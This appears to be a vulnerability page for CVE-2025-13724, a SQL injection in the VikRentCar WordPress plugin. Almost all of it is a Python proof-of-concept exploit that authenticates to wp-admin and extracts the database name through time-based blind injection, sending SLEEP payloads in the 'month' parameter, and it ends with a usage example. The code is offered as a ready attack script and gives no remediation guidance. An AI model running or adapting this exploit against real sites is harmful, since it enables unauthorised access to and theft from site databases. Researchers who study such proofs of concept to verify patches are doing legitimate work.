CVE-2025-13724 WordPress VikRentCar插件SQL注入漏洞

import requests import time # CVE-2025-13724 PoC - Time-based Blind SQL Injection # Target: WordPress VikRentCar plugin (<= 1.4.4) # Parameter: month target_url = "http://target-site.com/wp-admin/admin.php" # Login with admin credentials to obtain session cookie session = requests.Session() def login(wordpress_url, username, password): """Authenticate to WordPress admin panel""" login_url = f"{wordpress_url}/wp-login.php" data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{wordpress_url}/wp-admin/" } response = session.post(login_url, data=data) return 'wordpress_logged_in' in session.cookies.get_dict() def extract_data_via_blind_sql(wordpress_url): """Extract database name using time-based blind SQL injection""" # Construct malicious month parameter # Database name length detection length_payload = "1 AND IF(LENGTH(DATABASE())={length},SLEEP(5),0)---" # Character extraction payload char_payload = "1 AND IF(SUBSTRING(DATABASE(),{pos},1)='{char}',SLEEP(5),0)---" db_name = "" for pos in range(1, 20): # Max length check for char in 'abcdefghijklmnopqrstuvwxyz0123456789_': payload = char_payload.format(pos=pos, char=char) params = {'page': 'vikrentcar', 'option': 'com_vikrentcar', 'task': 'overv', 'month': payload} start_time = time.time() response = session.get(wordpress_url + "/wp-admin/admin.php", params=params) elapsed = time.time() - start_time if elapsed >= 5: db_name += char print(f"[*] Extracted character: {char} | Current DB name: {db_name}") break else: break # No more characters print(f"[+] Database name: {db_name}") return db_name # Usage example # login("http://target-site.com", "admin", "password") # extract_data_via_blind_sql("http://target-site.com")